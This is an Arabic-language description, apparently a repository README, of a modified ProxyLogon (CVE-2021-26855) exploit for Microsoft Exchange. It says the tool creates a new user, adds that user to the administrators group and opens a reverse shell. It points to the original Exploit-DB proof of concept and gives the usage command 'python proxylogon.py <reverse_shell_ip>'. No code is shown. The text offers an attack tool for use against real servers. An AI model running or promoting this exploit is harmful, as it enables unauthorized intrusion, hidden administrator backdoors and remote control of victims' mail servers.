glen-pearson/proxylogon-cve-2021-26855استغلال لثغرة CVE-2021-26855 (ProxyLogon) يستهدف Microsoft Exchange. يقوم بإنشاء مستخدم إداري جديد وإنشاء قشرة عكسية للوصول بعد الاستغلال.
CVE-2021-26855
هذه نسخة معدّلة من كود إثبات المفهوم (POC) الخاص بـ proxylogon. بدلاً من تشغيل "whoami"، يقوم بإنشاء مستخدم جديد وإضافة هذا المستخدم إلى مجموعة المسؤولين وإنشاء قشرة عكسية (reverse shell). يمكن العثور على كود إثبات المفهوم الأصلي هنا: https://www.exploit-db.com/exploits/49663
الاستخدام: python proxylogon.py <reverse_shell_ip>
